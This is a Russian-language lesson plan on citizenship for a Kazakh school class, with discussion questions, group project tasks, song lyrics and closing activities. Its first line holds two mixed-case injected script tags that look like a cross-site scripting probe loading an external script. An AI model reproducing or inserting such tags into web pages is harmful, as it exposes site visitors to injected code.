<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Цель урока: расширять понятие «гражданин»;

формировать качества  гражданина,

ответственного за судьбу своей Родины и мира; 

прививать учащимся знания основных прав и обязанностей человека

Ход урока:

Орг.момент.

Позитивный настрой

 Круг радости

-Постарайтесь поздороваться так, чтобы от вашего взгляда всем вашим друзьям-одноклассникам и мне стало тепло и приятно на сердце.

1.      Позитивное высказывание (цитата).

Цитата урока:          

 «Поэтом можешь ты не быть,  но гражданином быть обязан!» (слайд

2)

Работа

по цитате:

Обсуждение

по вопросам:

-Как

вы понимаете это высказывание?

 -О каких обязанностях говорит поэт?

-Что

значит слово «гражданин»?

-Гражданин — это человек,

мысли и поступки которого направлены на благо Отечества, на благо своего

народа.(слайд 3)

-Далее Н.Некрасов писал:

…А что такое гражданин?

    Отечества достойный сын…» (слайд 4)

2)Беседа по теме урока:

- Все ли люди, живущие в Казахстане, являются гражданами страны?(Ответы

учащихся)

- Каждый человек является гражданином какой-либо страны.

Как гражданин он пользуется определенными правами и имеет обя­занности. В

нашей стране права и обязанности гражданина опреде­лены Конституцией

Республики Казахстан.

Конституция — основной закон, по которому живут граждане государства.

- Какие обязанности у гражданина страны?

- Какие права имеете вы?

(Презентация «Права ребенка»)

- Какие правила вы знали, а какие для вас были

новыми?

- А про обязанности сохранения своей природы вы

знали?

- А что вам больше всего нравится в нашей

местности, природе?

- Что бы вы хотели изменить?

1)Творческая деятельность

Задание:

2) Работа в группах - Что бы вы хотели изменить в нашем поселке?

Подумайте.

Представьте себя архитекторами, строителями, инженерами, экологами.

Придумайте и оформите на бумаге проект по изменению нашего поселка.

Правила работы в группах (дети ознакомятся самостоятельно, у каждой

группы правила лежат на парте)

Вопросы:

- защита работ

2.      Групповое пение.

Исполняют песню С.Мусалиева «Здрав­ствуй, страна!».

Ø 

Здравствуй, столица! Ты

вольная птица! Это - Астана! Здравствуй, Медео! Горы тянутся к небу, Это -

Алматы.Здравствуй, земля! Здесь шахтерская душа, Это - Караганда! Здравствуй,

страна, Это мой Казахстан. Здесь моя земля!Я поеду в Атырау, через Каспий до

Актау. Посмотрю на Кокшетау, и дальше снова в путь. Петропавловск позвонил -

друг зовет там погостить. С ним поеду в Костанай, песню мы споем давай!Припев.Друг,

нам уже пора, впереди Кызылорда, Там Шымкент, или Тараз... дави сильней на

газ. Посмотри - Талдыкорган... Все нити тянут в Жезказган. В Актобе идут

дожди... В Уральске - прохладные дни.Припев.

Игра «Мой подарок»

Ребята, а давайте на листочках напишем  пожелание своей Родине и наклеим на наши проекты.

3.      Заключительная минута урока.

Круг «От сердца к сердцу»

Продолжите предложение: «Как гражданин своей страны я могу...(«Например: «Как гражданин своей страны я могу учиться в школе»)

Приложите

руку к сердцу и послушайте, как оно бьется. – Послушаем свое сердце и

помолчим...

– В моем сердце живет любовь. Я думаю, что в ваших

сердцах тоже живет любовь. Только человек с добрым и открытым сердцем может

быть настоящим гражданином своей страны!